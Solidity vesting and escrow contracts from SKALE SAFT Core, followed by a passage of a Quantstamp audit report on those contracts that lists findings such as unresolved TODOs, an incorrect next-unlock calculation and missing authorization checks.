timeHelpers.addDays(timestamp, timePoints); } else if (vestingPeriod == TimeLine.MONTH) { return timeHelpers.addMonths(timestamp, timePoints); } else { return timeHelpers.addYears(timestamp, timePoints); } } }// SPDX-License-Identifier: AGPL-3.0-only /* Permissions.sol - SKALE SAFT Core Copyright (C) 2020-Present SKALE Labs @author Artem Payvin SKALE SAFT Core is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE SAFT Core is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE SAFT Core. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol"; import "./ContractManager.sol"; /** * @title Permissions - connected module for Upgradeable approach, knows ContractManager * @author Artem Payvin */ contract Permissions is AccessControlUpgradeSafe { using SafeMath for uint; using Address for address; ContractManager public contractManager; /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_isOwner(), "Caller is not the owner"); _; } /** * @dev allow - throws if called by any account and contract other than the owner * or `contractName` contract */ modifier allow(string memory contractName) { require( contractManager.contracts(keccak256(abi.encodePacked(contractName))) == msg.sender || _isOwner(), "Message sender is invalid"); _; } function initialize(address contractManagerAddress) public virtual initializer { AccessControlUpgradeSafe.__AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setContractManager(contractManagerAddress); } function _isOwner() internal view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, msg.sender); } function _setContractManager(address contractManagerAddress) private { require(contractManagerAddress != address(0), "ContractManager address is not set"); require(contractManagerAddress.isContract(), "Address is not contract"); contractManager = ContractManager(contractManagerAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* Core.sol - SKALE SAFT Core Copyright (C) 2020-Present SKALE Labs @author Artem Payvin SKALE SAFT Core is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE SAFT Core is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE SAFT Core. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "./interfaces/openzeppelin/IProxyFactory.sol"; import "./interfaces/openzeppelin/IProxyAdmin.sol"; import "./interfaces/ITimeHelpers.sol"; import "./CoreEscrow.sol"; import "./Permissions.sol"; /** * @title Core * @dev This contract manages SKALE Employee Token Option Plans. * * An employee may have multiple holdings under an Core. * * An Core is defined by an initial token vesting cliff period, followed by * periodic vesting. * * Employees (holders) may be registered into a particular plan, and be assigned * individual start states and allocations. */ contract Core is Permissions, IERC777Recipient { enum TimeLine {DAY, MONTH, YEAR} enum HolderStatus { UNKNOWN, CONFIRMATION_PENDING, CONFIRMED, ACTIVE, TERMINATED } struct Plan { uint fullPeriod; uint vestingCliffPeriod; // months TimeLine vestingPeriod; uint regularPaymentTime; // amount of days/months/years bool isUnvestedDelegatable; } struct PlanHolder { HolderStatus status; uint planId; uint startVestingTime; uint fullAmount; uint afterLockupAmount; } event PlanCreated( uint id ); IERC1820Registry private _erc1820; // array of Plan configs Plan[] private _allPlans; address public vestingManager; // mapping (address => uint) private _vestedAmount; // holder => Plan holder params mapping (address => PlanHolder) private _vestingHolders; // holder => address of Core escrow mapping (address => CoreEscrow) private _holderToEscrow; function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleToken") // solhint-disable-next-line no-empty-blocks { } /** * @dev Allows `msg.sender` to approve their address as an Core holder. * * Requirements: * * - Holder address must be already registered. * - Holder address must not already be approved. */ function approveHolder() external { address holder = msg.sender; require(_vestingHolders[holder].status != HolderStatus.UNKNOWN, "Holder is not registered"); require(_vestingHolders[holder].status == HolderStatus.CONFIRMATION_PENDING, "Holder is already approved"); _vestingHolders[holder].status = HolderStatus.CONFIRMED; } /** * @dev Allows Owner to activate a holder address and transfer locked * tokens to the associated Core escrow address. * * Requirements: * * - Holder address must be already confirmed. */ function startVesting(address holder) external onlyOwner { require(_vestingHolders[holder].status == HolderStatus.CONFIRMED, "Holder address is not confirmed"); _vestingHolders[holder].status = HolderStatus.ACTIVE; require( IERC20(contractManager.getContract("SkaleToken")).transfer( address(_holderToEscrow[holder]), _vestingHolders[holder].fullAmount ), "Error of token sending" ); } /** * @dev Allows Owner to define and add an Core. * * Requirements: * * - Vesting cliff period must be less than or equal to the full period. * - Vesting period must be in days, months, or years. * - Full period must equal vesting cliff plus entire vesting schedule. */ function addCore( uint vestingCliffPeriod, // months uint fullPeriod, // months uint8 vestingPeriod, // 1 - day 2 - month 3 - year uint vestingTimes, // months or days or years bool isUnvestedDelegatable // can holder delegate all un-vested tokens ) external onlyOwner { require(fullPeriod >= vestingCliffPeriod, "Cliff period exceeds full period"); require(vestingPeriod >= 1 && vestingPeriod <= 3, "Incorrect vesting period"); require( (fullPeriod - vestingCliffPeriod) == vestingTimes || ((fullPeriod - vestingCliffPeriod) / vestingTimes) * vestingTimes == fullPeriod - vestingCliffPeriod, "Incorrect vesting times" ); _allPlans.push(Plan({ fullPeriod: fullPeriod, vestingCliffPeriod: vestingCliffPeriod, vestingPeriod: TimeLine(vestingPeriod - 1), regularPaymentTime: vestingTimes, isUnvestedDelegatable: isUnvestedDelegatable })); emit PlanCreated(_allPlans.length - 1); } /** * @dev Allows Owner to terminate vesting of an Core holder. Performed when * a holder is terminated. * * Requirements: * * - Core holder must be active. */ function stopVesting(address holder) external onlyOwner { require( _vestingHolders[holder].status == HolderStatus.ACTIVE, "Cannot stop vesting for a non active holder" ); // TODO add deactivate logic!!! // _vestedAmount[holder] = calculateVestedAmount(holder); CoreEscrow(_holderToEscrow[holder]).cancelVesting(calculateVestedAmount(holder)); } /** * @dev Allows Owner to register a holder to an Core. * * Requirements: * * - Core must already exist. * - The vesting amount must be less than or equal to the full allocation. * - The holder address must not already be included in the Core. */ function connectHolderToPlan( address holder, uint planId, uint startVestingTime, // timestamp uint fullAmount, uint lockupAmount ) external onlyOwner { require(_allPlans.length >= planId && planId > 0, "Core does not exist"); require(fullAmount >= lockupAmount, "Incorrect amounts"); // require(startVestingTime <= now, "Incorrect period starts"); // TODO: Remove to allow both past and future vesting start date require(_vestingHolders[holder].status == HolderStatus.UNKNOWN, "Holder is already added"); _vestingHolders[holder] = PlanHolder({ status: HolderStatus.CONFIRMATION_PENDING, planId: planId, startVestingTime: startVestingTime, fullAmount: fullAmount, afterLockupAmount: lockupAmount }); _holderToEscrow[holder] = _deployEscrow(holder); } /** * @dev Returns vesting start date of the holder's Core. */ function getStartVestingTime(address holder) external view returns (uint) { return _vestingHolders[holder].startVestingTime; } /** * @dev Returns the final vesting date of the holder's Core. */ function getFinishVestingTime(address holder) external view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); PlanHolder memory planHolder = _vestingHolders[holder]; Plan memory planParams = _allPlans[planHolder.planId - 1]; return timeHelpers.addMonths(planHolder.startVestingTime, planParams.fullPeriod); } /** * @dev Returns the vesting cliff period in months. */ function getVestingCliffInMonth(address holder) external view returns (uint) { return _allPlans[_vestingHolders[holder].planId - 1].vestingCliffPeriod; } /** * @dev Confirms whether the holder is active in the Core. */ function isActiveVestingTerm(address holder) external view returns (bool) { return _vestingHolders[holder].status == HolderStatus.ACTIVE; } /** * @dev Confirms whether the holder is approved in an Core. */ function isApprovedHolder(address holder) external view returns (bool) { return _vestingHolders[holder].status != HolderStatus.UNKNOWN && _vestingHolders[holder].status != HolderStatus.CONFIRMATION_PENDING; } /** * @dev Confirms whether the holder is registered in an Core. */ function isHolderRegistered(address holder) external view returns (bool) { return _vestingHolders[holder].status != HolderStatus.UNKNOWN; } /** * @dev Confirms whether the holder's Core allows all un-vested tokens to be * delegated. */ function isUnvestedDelegatableTerm(address holder) external view returns (bool) { return _allPlans[_vestingHolders[holder].planId - 1].isUnvestedDelegatable; } /** * @dev Returns the locked and unlocked (full) amount of tokens allocated to * the holder address in Core. */ function getFullAmount(address holder) external view returns (uint) { return _vestingHolders[holder].fullAmount; } /** * @dev Returns the Core Escrow contract by holder. */ function getEscrowAddress(address holder) external view returns (address) { return address(_holderToEscrow[holder]); } /** * @dev Returns the timestamp when vesting cliff ends and periodic vesting * begins. */ function getLockupPeriodTimestamp(address holder) external view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); PlanHolder memory planHolder = _vestingHolders[holder]; Plan memory planParams = _allPlans[planHolder.planId - 1]; return timeHelpers.addMonths(planHolder.startVestingTime, planParams.vestingCliffPeriod); } /** * @dev Returns the time of the next vesting period. */ function getTimeOfNextVest(address holder) external view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); uint date = now; PlanHolder memory planHolder = _vestingHolders[holder]; Plan memory planParams = _allPlans[planHolder.planId - 1]; uint lockupDate = timeHelpers.addMonths(planHolder.startVestingTime, planParams.vestingCliffPeriod); if (date < lockupDate) { return lockupDate; } uint dateTime = _getTimePointInCorrectPeriod(date, planParams.vestingPeriod); uint lockupTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(planHolder.startVestingTime, planParams.vestingCliffPeriod), planParams.vestingPeriod ); uint finishTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(planHolder.startVestingTime, planParams.fullPeriod), planParams.vestingPeriod ); uint numberOfDonePayments = dateTime.sub(lockupTime).div(planParams.regularPaymentTime); uint numberOfAllPayments = finishTime.sub(lockupTime).div(planParams.regularPaymentTime); if (numberOfAllPayments <= numberOfDonePayments + 1) { return timeHelpers.addMonths( planHolder.startVestingTime, planParams.fullPeriod ); } uint nextPayment = finishTime .sub( planParams.regularPaymentTime.mul(numberOfAllPayments.sub(numberOfDonePayments + 1)) ); return _addMonthsAndTimePoint(lockupDate, nextPayment - lockupTime, planParams.vestingPeriod); } /** * @dev Returns the Core parameters. * * Requirements: * * - Core must already exist. */ function getPlan(uint planId) external view returns (Plan memory) { require(planId > 0 && planId <= _allPlans.length, "Plan Round does not exist"); return _allPlans[planId - 1]; } /** * @dev Returns the Core parameters for a holder address. * * Requirements: * * - Holder address must be registered to an Core. */ function getHolderParams(address holder) external view returns (PlanHolder memory) { require(_vestingHolders[holder].status != HolderStatus.UNKNOWN, "Plan holder is not registered"); return _vestingHolders[holder]; } /** * @dev Returns the locked token amount. TODO: remove, controlled by Core Escrow */ function getLockedAmount(address wallet) external view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); PlanHolder memory planHolder = _vestingHolders[wallet]; Plan memory planParams = _allPlans[planHolder.planId - 1]; if (now < timeHelpers.addMonths(planHolder.startVestingTime, planParams.vestingCliffPeriod)) { return _vestingHolders[wallet].fullAmount; } return _vestingHolders[wallet].fullAmount - calculateVestedAmount(wallet); } /** * @dev Returns the locked token amount. TODO: remove, controlled by Core Escrow */ // function getLockedAmountForDelegation(address wallet) external view returns (uint) { // return _vestingHolders[wallet].fullAmount - calculateVestedAmount(wallet); // } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); vestingManager = msg.sender; _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } /** * @dev Calculates and returns the vested token amount. */ function calculateVestedAmount(address wallet) public view returns (uint vestedAmount) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); uint date = now; PlanHolder memory planHolder = _vestingHolders[wallet]; Plan memory planParams = _allPlans[planHolder.planId - 1]; vestedAmount = 0; if (date >= timeHelpers.addMonths(planHolder.startVestingTime, planParams.vestingCliffPeriod)) { vestedAmount = planHolder.afterLockupAmount; if (date >= timeHelpers.addMonths(planHolder.startVestingTime, planParams.fullPeriod)) { vestedAmount = planHolder.fullAmount; } else { uint partPayment = _getPartPayment(wallet, planHolder.fullAmount, planHolder.afterLockupAmount); vestedAmount = vestedAmount.add(partPayment.mul(_getNumberOfCompletedVestingEvents(wallet))); } } } /** * @dev Returns the number of vesting events that have completed. */ function _getNumberOfCompletedVestingEvents(address wallet) internal view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); uint date = now; PlanHolder memory planHolder = _vestingHolders[wallet]; Plan memory planParams = _allPlans[planHolder.planId - 1]; if (date < timeHelpers.addMonths(planHolder.startVestingTime, planParams.vestingCliffPeriod)) { return 0; } uint dateTime = _getTimePointInCorrectPeriod(date, planParams.vestingPeriod); uint lockupTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(planHolder.startVestingTime, planParams.vestingCliffPeriod), planParams.vestingPeriod ); return dateTime.sub(lockupTime).div(planParams.regularPaymentTime); } /** * @dev Returns the number of total vesting events. */ function _getNumberOfAllVestingEvents(address wallet) internal view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); PlanHolder memory planHolder = _vestingHolders[wallet]; Plan memory planParams = _allPlans[planHolder.planId - 1]; uint finishTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(planHolder.startVestingTime, planParams.fullPeriod), planParams.vestingPeriod ); uint afterLockupTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(planHolder.startVestingTime, planParams.vestingCliffPeriod), planParams.vestingPeriod ); return finishTime.sub(afterLockupTime).div(planParams.regularPaymentTime); } /** * @dev Returns the amount of tokens that are unlocked in each vesting * period. */ function _getPartPayment( address wallet, uint fullAmount, uint afterLockupPeriodAmount ) internal view returns(uint) { return fullAmount.sub(afterLockupPeriodAmount).div(_getNumberOfAllVestingEvents(wallet)); } /** * @dev Returns timestamp when adding timepoints (days/months/years) to * timestamp. */ function _getTimePointInCorrectPeriod(uint timestamp, TimeLine vestingPeriod) private view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); if (vestingPeriod == TimeLine.DAY) { return timeHelpers.timestampToDay(timestamp); } else if (vestingPeriod == TimeLine.MONTH) { return timeHelpers.timestampToMonth(timestamp); } else { return timeHelpers.timestampToYear(timestamp); } } /** * @dev Returns timepoints (days/months/years) from a given timestamp. */ function _addMonthsAndTimePoint( uint timestamp, uint timePoints, TimeLine vestingPeriod ) private view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); if (vestingPeriod == TimeLine.DAY) { return timeHelpers.addDays(timestamp, timePoints); } else if (vestingPeriod == TimeLine.MONTH) { return timeHelpers.addMonths(timestamp, timePoints); } else { return timeHelpers.addYears(timestamp, timePoints); } } function _deployEscrow(address holder) private returns (CoreEscrow) { // TODO: replace with ProxyFactory when @openzeppelin/upgrades will be compatible with solidity 0.6 IProxyFactory proxyFactory = IProxyFactory(contractManager.getContract("ProxyFactory")); CoreEscrow coreEscrow = CoreEscrow(contractManager.getContract("CoreEscrow")); // TODO: change address to ProxyAdmin when @openzeppelin/upgrades will be compatible with solidity 0.6 IProxyAdmin proxyAdmin = IProxyAdmin(contractManager.getContract("ProxyAdmin")); return CoreEscrow( proxyFactory.deploy( 0, proxyAdmin.getProxyImplementation(address(coreEscrow)), address(proxyAdmin), abi.encodeWithSelector( CoreEscrow.initialize.selector, address(contractManager), holder ) ) ); } }// SPDX-License-Identifier: AGPL-3.0-only /* CoreEscrow.sol - SKALE SAFT Core Copyright (C) 2020-Present SKALE Labs @author Artem Payvin SKALE SAFT Core is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE SAFT Core is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE SAFT Core. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "./interfaces/delegation/ILocker.sol"; import "./Core.sol"; import "./Permissions.sol"; import "./interfaces/delegation/IDelegationController.sol"; import "./interfaces/delegation/IDistributor.sol"; import "./interfaces/delegation/ITokenState.sol"; import "./interfaces/delegation/IValidatorService.sol"; /** * @title Core Escrow * @dev This contract manages Core escrow operations for the SKALE Employee * Token Open Plan. */ contract CoreEscrow is IERC777Recipient, IERC777Sender, Permissions { address private _holder; uint private _availableAmountAfterTermination; IERC1820Registry private _erc1820; modifier onlyHolder() { require(_msgSender() == _holder, "Message sender is not a holder"); _; } modifier onlyHolderAndOwner() { Core core = Core(contractManager.getContract("Core")); require( _msgSender() == _holder && core.isActiveVestingTerm(_holder) || _msgSender() == core.vestingManager(), "Message sender is not authorized" ); _; } function initialize(address contractManagerAddress, address newHolder) external initializer { Permissions.initialize(contractManagerAddress); _holder = newHolder; _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this)); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleToken") // solhint-disable-next-line no-empty-blocks { } function tokensToSend( address, address, address to, uint256, bytes calldata, bytes calldata ) external override allow("SkaleToken") { require(to == _holder || hasRole(DEFAULT_ADMIN_ROLE, to), "Not authorized transfer"); } /** * @dev Allows Holder to retrieve locked tokens from SKALE Token to the Core * Escrow contract. */ function retrieve() external onlyHolder { Core core = Core(contractManager.getContract("Core")); ITokenState tokenState = ITokenState(contractManager.getContract("TokenState")); // require(core.isActiveVestingTerm(_holder), "Core term is not Active"); uint vestedAmount = 0; if (core.isActiveVestingTerm(_holder)) { vestedAmount = core.calculateVestedAmount(_holder); } else { vestedAmount = _availableAmountAfterTermination; } uint escrowBalance = IERC20(contractManager.getContract("SkaleToken")).balanceOf(address(this)); uint fullAmount = core.getFullAmount(_holder); uint forbiddenToSend = tokenState.getAndUpdateForbiddenForDelegationAmount(address(this)); if (vestedAmount > fullAmount.sub(escrowBalance)) { if (vestedAmount.sub(fullAmount.sub(escrowBalance)) > forbiddenToSend) require( IERC20(contractManager.getContract("SkaleToken")).transfer( _holder, vestedAmount .sub( fullAmount .sub(escrowBalance) ) .sub(forbiddenToSend) ), "Error of token send" ); } } /** * @dev Allows Core Owner to retrieve remaining transferrable escrow balance * after Core holder termination. Slashed tokens are non-transferable. * * Requirements: * * - Core must be active. */ function retrieveAfterTermination() external onlyOwner { Core core = Core(contractManager.getContract("Core")); ITokenState tokenState = ITokenState(contractManager.getContract("TokenState")); require(!core.isActiveVestingTerm(_holder), "Core holder is not Active"); uint escrowBalance = IERC20(contractManager.getContract("SkaleToken")).balanceOf(address(this)); uint forbiddenToSend = tokenState.getAndUpdateLockedAmount(address(this)); if (escrowBalance > forbiddenToSend) { require( IERC20(contractManager.getContract("SkaleToken")).transfer( address(_getCoreContract()), escrowBalance.sub(forbiddenToSend) ), "Error of token send" ); } } /** * @dev Allows Core holder to propose a delegation to a validator. * * Requirements: * * - Core holder must be active. * - Holder has sufficient delegatable tokens. * - If trusted list is enabled, validator must be a member of this trusted * list. */ function delegate( uint validatorId, uint amount, uint delegationPeriod, string calldata info ) external onlyHolder { Core core = Core(contractManager.getContract("Core")); require(core.isActiveVestingTerm(_holder), "Core holder is not Active"); if (!core.isUnvestedDelegatableTerm(_holder)) { require(core.calculateVestedAmount(_holder) >= amount, "Incorrect amount to delegate"); } IDelegationController delegationController = IDelegationController( contractManager.getContract("DelegationController") ); delegationController.delegate(validatorId, amount, delegationPeriod, info); } /** * @dev Allows Holder and Owner to request undelegation. Only Owner can * request undelegation after Core holder is deactivated (upon holder * termination). * * Requirements: * * - Holder or Core Owner must be `msg.sender`. * - Core holder must be active when Holder is `msg.sender`. */ function requestUndelegation(uint delegationId) external onlyHolderAndOwner { Core core = Core(contractManager.getContract("Core")); require( _msgSender() == _holder && core.isActiveVestingTerm(_holder) || _msgSender() == core.vestingManager(), "Message sender is not authorized" ); if (_msgSender() == _holder) { require(core.isActiveVestingTerm(_holder), "Core holder is not Active"); } IDelegationController delegationController = IDelegationController( contractManager.getContract("DelegationController") ); delegationController.requestUndelegation(delegationId); } /** * @dev Allows Holder and Owner to withdraw earned bounty. Only Owner can * withdraw bounty to Core contract after Core holder is deactivated. * * Requirements: * * - Holder or Core Owner must be `msg.sender`. * - Core must be active when Holder is `msg.sender`. */ function withdrawBounty(uint validatorId, address to) external onlyHolderAndOwner { IDistributor distributor = IDistributor(contractManager.getContract("Distributor")); if (_msgSender() == _holder) { Core core = Core(contractManager.getContract("Core")); require(core.isActiveVestingTerm(_holder), "Core holder is not Active"); distributor.withdrawBounty(validatorId, to); } else { distributor.withdrawBounty(validatorId, address(_getCoreContract())); } } /** * @dev Allows Core contract to cancel vesting of an Core holder. Cancel * vesting is performed upon termination. * TODO: missing moving Core holder to deactivated state? */ function cancelVesting(uint vestedAmount) external allow("Core") { _availableAmountAfterTermination = vestedAmount; } // private function _getCoreContract() internal view returns (Core) { return Core(contractManager.getContract("Core")); } }
October 29th 2020— Quantstamp Verified SKALE Allocator This security assessment was prepared by Quantstamp, the leader in blockchain security Executive Summary Type Token Vesting Contracts Auditors Ed Zulkoski , Senior SecurityEngineer Kevin Feng , Software EngineerKacper Bąk , Senior ResearchEngineer Timeline 2020-08-05 through 2020-08-12 EVM Muir Glacier Languages Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer- Aided Verification, Manual Review Specification SKALE SAFT Core Documentation Quality HighTest Quality Undetermined Source Code Repository Commit skale-saft-core b427bb2 Goals Do the smart contracts implement the provided specification? •Can funds be locked or stolen? •Do vesting schedules unlock funds at the appropriate time? •Total Issues 9 (7 Resolved)High Risk Issues 0 (0 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 3 (3 Resolved)Informational Risk Issues 3 (1 Resolved)Undetermined Risk Issues 1 (1 Resolved) High Risk The issue puts a large number of users’sensitive information atrisk, or is reasonablylikely to lead tocatastrophic impact forclient’s reputation orserious financialimplications for clientand users.Medium Risk The issue puts a subset of users’ sensitiveinformation at risk,would be detrimental forthe client’s reputation ifexploited, or isreasonably likely to leadto moderate financialimpact.Low Risk The risk is relatively small and could not beexploited on a recurringbasis, or is a risk that theclient has indicated islow-impact in view of theclient’s businesscircumstances.Informational The issue does not post an immediate risk, but isrelevant to security bestpractices or Defence inDepth.Undetermined The impact of the issue is uncertain.Unresolved Acknowledged the existence of the risk, anddecided to accept itwithout engaging inspecial efforts to controlit.Acknowledged The issue remains in the code but is a result of anintentional business ordesign decision. As such,it is supposed to beaddressed outside theprogrammatic means,such as: 1) comments,documentation,README, FAQ; 2)business processes; 3)analyses showing thatthe issue shall have nonegative consequencesin practice (e.g., gasanalysis, deploymentsettings). Resolved Adjusted program implementation,requirements orconstraints to eliminatethe risk.Mitigated Implemented actions to minimize the impact orlikelihood of the risk.Summary of Findings Quantstamp has reviewed the SAFT, Core, and associated smart contracts. The code is generally well-documented and specified. During the audit, several issues were found, including several functions that were incomplete (containing TODO statements), some functions that may not behave correctly for corner-cases, and issues related to function parameter checks. We recommend addressing all issues before deployment. Further, although test coverage was quite high, we recommend additional testing to ensure edge-cases are handled properly, particularly for complicated functions such as . getTimeOfNextUnlock() All fixes from the Skale team have been reviewed and marked resolved based on commit . Update: 6c64026 ID Description Severity Status QSP- 1 Unresolved TODOsMedium Fixed QSP- 2 Incorrect Unlock Times ingetTimeOfNextUnlock() Medium Fixed QSP- 3 Stubfunction getAndUpdateForbiddenForDelegationAmount()Low Fixed QSP- 4 Unclear semantics ofaddSAFTRound() Low Fixed QSP- 5 Missing check inand withdrawBounty() requestUndelegation() Low Fixed QSP- 6 Misusing/ / require() assert() revert() Informational Acknowledged QSP- 7 Privileged Roles and OwnershipInformational Acknowledged QSP- 8 Unchecked address parametersInformational Fixed QSP- 9 Unclearfunctionality delegate() Undetermined Fixed QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the followingi. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand thesize, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the codeand how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: v0.6.12 • Slitherv0.22.8 • MythrilSteps taken to run the tools:1. Installed the Slither tool:pip install slither-analyzer 2. Run Slither from the project directory:s slither . 3. Installed the Mythril tool from Pypi:pip3 install mythril 4. Ran the Mythril tool on each contract:myth -x path/to/contract Findings QSP-1 Unresolved TODOs Severity: Medium Risk Fixed Status: , , File(s) affected: Core.sol CoreEscrow.sol SAFT.sol There are several TODO statements that still exist in the code: Description: 1. In SAFT.sol#199 -// TOOD: Fix index error 2. In Core.sol#192 -. Related, the function does not change the to . // TODO add deactivate logicHolderStatus TERMINATED 3. In Core.sol#219 -// TODO: Remove to allow both past and future vesting start date 4. In Core.sol#372 -TODO: remove, controlled by Core Escrow 5. In CoreEscrow.sol#240 -TODO: missing moving Core holder to deactivated state? 6. In several locations -replace with ProxyFactory when @openzeppelin/upgrades will be compatible with solidity 0.6 Ensure that the intended functionality is added for each TODO. Recommendation: this has been resolved with the exception of bullet 6, which is pending updates to OpenZeppelin. Update: QSP-2 Incorrect Unlock Times in getTimeOfNextUnlock() Severity: Medium Risk Fixed Status: , File(s) affected: Core.sol SAFT.sol Consider a SAFT that lasts 2 years, vests every 1 year, and has no lockup period. Consider a with a , and this function is invoked on "Jan 1, year 1". Description:SAFTHolder startVestingTime = "Dec. 30, year 0" The local variables in will be assigned as follows: getTimeOfNextUnlock() • dateTime = year 1• lockupTime = year 0• finishTime = year 2• numberOfDonePayments = 1• numberOfAllPayments = 2Since , the check on L325 will succeed, and the function will incorrectly report Dec. 30, year 2 as the next unlock time, instead of Dec 30, year 1. numberOfAllPayments <= numberOfDonePayments + 1As an alternative scenario, if instead of a 2 year SAFT, it is 3 years, then L325 will fail, and we correctly have the following: • nextPayment = 1returns "Dec. 30, year 1" •Note that the same functionality exists in . Core._getNumberOfCompletedUnlocks() Revise the functionality of these two functions. Add new test cases corresponding to edge-cases, such as dates near the end or start of a year. Recommendation:QSP-3 Stubfunction getAndUpdateForbiddenForDelegationAmount() Severity: Low Risk Fixed Status: File(s) affected: SAFT.sol The function is a stub. It also contains the comment which is unclear. Description:getAndUpdateForbiddenForDelegationAmount() network_launch_timestamp Implement the function if necessary, and clarify the meaning of the comment. Recommendation: QSP-4 Unclear semantics of addSAFTRound() Severity: Low Risk Fixed Status: , File(s) affected: Core.sol SAFT.sol It is not clear why is not considered when sanitizing the function arguments, since the first two parameters are in months, but the parameter could be days, months, or years. For example, if which corresponds to years, then an input of , , would pass the checks. Description:vestingPeriod vestingTimes vestingPeriod == 3 lockupPeriod == 1 (month) fullPeriod == 2 (month) vestingTimes == 1 (year) The same issue exists in . Core.addCore() Revise the require-statements ensuring the is taken into consideration. Recommendation: vestingPeriod QSP-5 Missing check in and withdrawBounty() requestUndelegation() Severity: Low Risk Fixed Status: File(s) affected: CoreEscrow.sol In the comment block, it states "Only Owner can withdraw bounty to Core contract after Core holder is deactivated.". However, there is no check that the holder is deactivated if the caller is the contract owner. Description:A similar issue exists for , which states "Only Owner can request undelegation after Core holder is deactivated (upon holder termination)." requestUndelegation()Add a require-statement ensuring that the account is deactivated if the owner is the caller in each function. Recommendation:QSP-6 Misusing / / require() assert() revert() Severity: Informational Acknowledged Status: File(s) affected: BokkyPooBahsDateTimeLibrary.sol , , and all have their own specific uses and should not be switched around. Description: require() revert() assert() checks that certain preconditions are true before a function is run. • require(), when hit, will undo all computation within the function. • revert()is meant for checking that 